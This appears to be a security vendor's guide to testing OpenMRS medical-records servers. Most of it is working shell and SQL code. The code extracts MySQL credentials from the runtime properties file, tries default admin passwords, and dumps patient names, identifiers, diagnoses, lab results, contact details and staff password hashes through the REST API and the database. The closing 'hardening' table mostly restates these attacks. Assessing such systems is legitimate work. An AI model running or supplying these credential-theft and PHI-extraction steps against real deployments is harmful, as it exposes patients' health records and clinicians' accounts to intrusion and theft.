OpenMRS Security Testing: Default Credentials, API Key, Database, and Healthcare

OpenMRS is the leading open-source electronic medical records system, deployed by thousands of healthcare facilities across low- and middle-income countries, as well as by major global health organizations. Key assessment areas: openmrs-runtime.properties exposes MySQL credentials; admin/Admin123 is a well-known default; the REST API uses token-based authentication; and the patient database contains highly sensitive Protected Health Information (PHI) including diagnoses, lab results, and medication records. This guide covers systematic OpenMRS security assessment.

Table of Contents

  1. openmrs-runtime.properties MySQL Credential Extraction
  2. REST API Token and Admin Credential Assessment
  3. MySQL Patient PHI, Medical Observation, and Encounter Extraction
  4. OpenMRS Security Hardening

openmrs-runtime.properties MySQL Credential Extraction

# OpenMRS — openmrs-runtime.properties MySQL credential extraction
OPENMRS_URL="https://openmrs.example.com"

# openmrs-runtime.properties — MySQL database credentials
# Default location: ~/.OpenMRS/openmrs-runtime.properties
# or: /usr/share/tomcat9/.OpenMRS/openmrs-runtime.properties
for PROPS_PATH in \
  "/root/.OpenMRS/openmrs-runtime.properties" \
  "/home/tomcat/.OpenMRS/openmrs-runtime.properties" \
  "/usr/share/tomcat9/.OpenMRS/openmrs-runtime.properties" \
  "/opt/tomcat/.OpenMRS/openmrs-runtime.properties"; do
  if [ -f "${PROPS_PATH}" ]; then
    echo "=== ${PROPS_PATH} ==="
    grep -E "connection.username|connection.password|connection.url" \
      "${PROPS_PATH}" 2>/dev/null
  fi
done
# connection.url=jdbc:mysql://localhost:3306/openmrs?...
# connection.username=openmrs
# connection.password=...    <-- MySQL password (CRITICAL)

# Test default admin credentials
for CRED in "admin:Admin123" "admin:admin" "admin:Admin1234" "daemon:daemon"; do
  USER=$(echo $CRED | cut -d: -f1)
  PASS=$(echo $CRED | cut -d: -f2)
  STATUS=$(curl -s -o /dev/null -w "%{http_code}" \
    -X POST "${OPENMRS_URL}/openmrs/ms/withoutsession" \
    --user "${USER}:${PASS}" 2>/dev/null)
  echo "${USER}/${PASS}: HTTP ${STATUS}"
done

# Check REST API basic auth
STATUS=$(curl -s -o /dev/null -w "%{http_code}" \
  "${OPENMRS_URL}/openmrs/ws/rest/v1/session" \
  --user "admin:Admin123" 2>/dev/null)
echo "REST API admin/Admin123: HTTP ${STATUS}"

REST API Token and Admin Credential Assessment

# OpenMRS REST API — token and admin credential assessment
OPENMRS_URL="https://openmrs.example.com"

# OpenMRS REST API v1 — session token authentication
# Step 1: Get session token with Basic auth
SESSION=$(curl -s "${OPENMRS_URL}/openmrs/ws/rest/v1/session" \
  --user "admin:Admin123" \
  -H "Content-Type: application/json" 2>/dev/null)
echo "${SESSION}" | python3 -c "
import json,sys
d=json.load(sys.stdin)
print(f'Session ID: {d.get(\"sessionId\")}')
print(f'Authenticated: {d.get(\"authenticated\")}')
u=d.get('user',{})
print(f'Username: {u.get(\"username\")}')
print(f'System ID: {u.get(\"systemId\")}')
" 2>/dev/null

SESSION_ID=$(echo "${SESSION}" | python3 -c "
import json,sys
d=json.load(sys.stdin)
print(d.get('sessionId',''))
" 2>/dev/null)

# List all patients (PHI exposure)
curl -s "${OPENMRS_URL}/openmrs/ws/rest/v1/patient?limit=50&v=full" \
  -H "Cookie: JSESSIONID=${SESSION_ID}" \
  --user "admin:Admin123" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
results=d.get('results',[])
print(f'Patients returned: {len(results)}')
for p in results[:3]:
    person=p.get('person',{})
    name_list=person.get('names',[{}])
    n=name_list[0] if name_list else {}
    print(f'  {n.get(\"givenName\")} {n.get(\"familyName\")} | DOB: {person.get(\"birthdate\")} | Gender: {person.get(\"gender\")}')
" 2>/dev/null

# List medical observations for a patient
PATIENT_UUID="target-patient-uuid"
curl -s "${OPENMRS_URL}/openmrs/ws/rest/v1/obs?patient=${PATIENT_UUID}&limit=50" \
  -H "Cookie: JSESSIONID=${SESSION_ID}" \
  --user "admin:Admin123" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
obs=d.get('results',[])
print(f'Observations: {len(obs)}')
for o in obs[:5]:
    print(f'  {o.get(\"concept\",{}).get(\"display\")} = {o.get(\"value\")} ({o.get(\"obsDatetime\")}')
" 2>/dev/null

MySQL Patient PHI, Medical Observation, and Encounter Extraction

# OpenMRS MySQL database — patient PHI, medical observation, and encounter extraction
DB_PASS="extracted-db-password"

mysql -u openmrs -p"${DB_PASS}" openmrs 2>/dev/null << 'EOF'
-- OpenMRS users with password hashes
SELECT u.user_id, u.username, u.password, u.salt,
       u.system_id, u.date_created, u.date_last_login
FROM users u
WHERE u.voided = 0
ORDER BY u.user_id
LIMIT 20;
-- password: SHA-512 with salt: SHA512(SHA512(salt) + SHA512(password))

-- Patient PHI (person table)
SELECT per.person_id, per.gender, per.birthdate,
       pn.given_name, pn.family_name, pn.middle_name,
       per.birthdate_estimated, per.dead, per.death_date
FROM person per
JOIN person_name pn ON pn.person_id = per.person_id
WHERE per.voided = 0 AND pn.voided = 0 AND pn.preferred = 1
ORDER BY per.person_id
LIMIT 20;

-- Patient identifiers (medical record numbers, national IDs)
SELECT pi.patient_id, pi.identifier,
       pit.name as identifier_type,
       pn.given_name, pn.family_name
FROM patient_identifier pi
JOIN patient_identifier_type pit ON pit.patient_identifier_type_id = pi.identifier_type
JOIN person_name pn ON pn.person_id = pi.patient_id
WHERE pi.voided = 0 AND pn.preferred = 1
ORDER BY pi.patient_id
LIMIT 20;

-- Medical observations (lab results, vitals, diagnoses)
SELECT o.obs_id, o.person_id,
       c.name as concept_name,
       o.value_numeric, o.value_text, o.value_coded,
       o.obs_datetime, o.comments,
       pn.given_name, pn.family_name
FROM obs o
JOIN concept_name c ON c.concept_id = o.concept_id
JOIN person_name pn ON pn.person_id = o.person_id
WHERE o.voided = 0 AND c.voided = 0 AND pn.preferred = 1
ORDER BY o.obs_datetime DESC
LIMIT 20;

-- Patient contact information
SELECT pa.person_id, pa.value,
       pat.name as attribute_type,
       pn.given_name, pn.family_name
FROM person_attribute pa
JOIN person_attribute_type pat ON pat.person_attribute_type_id = pa.person_attribute_type_id
JOIN person_name pn ON pn.person_id = pa.person_id
WHERE pa.voided = 0
LIMIT 20;
EOF

OpenMRS Security Hardening

OpenMRS Security Hardening Checklist:
Security TestMethodRisk
admin/Admin123 default credential testPOST /openmrs/ws/rest/v1/session Basic auth — session token; full access to all patient PHI, medical records, clinical data, user managementCritical
openmrs-runtime.properties MySQL connection.password extractionRead ~/.OpenMRS/openmrs-runtime.properties — database credentials for all patient records, medical observations, and user hashesCritical
REST API patient PHI enumerationGET /openmrs/ws/rest/v1/patient?limit=50 with admin session — patient names, birthdates, gender; full medical record access at admin permission levelHigh
obs table medical observation extractionMySQL SELECT from obs JOIN concept_name — all medical observations including lab results, vitals, diagnoses for all patients; HIPAA/GDPR-sensitive health dataHigh
users table SHA-512+salt password hash extractionMySQL SELECT password, salt FROM users — SHA-512 hashes for all clinical staff accounts; admin account compromise enables full EMR accessHigh

Automate OpenMRS Security Testing

Ironimo tests OpenMRS deployments for admin/Admin123 and daemon/daemon default credential testing at /openmrs/ws/rest/v1/session, openmrs-runtime.properties MySQL connection.password extraction, REST API /openmrs/ws/rest/v1/patient unauthenticated or weak-auth patient PHI enumeration, obs table medical observation (lab results, diagnoses) access, person_name and person_identifier patient PHI extraction, users table SHA-512+salt password hash extraction, person_attribute contact information enumeration, OpenMRS module inventory and unused module audit, REST API authentication bypass assessment, and OpenMRS version disclosure for CVE targeting.

Start free scan